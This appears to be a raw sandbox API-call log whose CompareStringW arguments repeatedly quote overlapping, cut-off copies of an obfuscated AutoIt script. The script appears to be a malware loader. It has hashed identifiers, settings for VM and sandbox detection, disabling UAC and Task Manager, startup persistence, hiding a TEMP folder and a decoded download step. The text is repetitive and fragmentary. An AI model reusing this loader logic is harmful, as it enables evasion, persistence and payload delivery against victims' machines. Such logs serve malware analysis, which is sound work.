24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.194] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="063A0C69862A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F47", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.194] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="63A0C69862A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F472", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.194] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="3A0C69862A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", 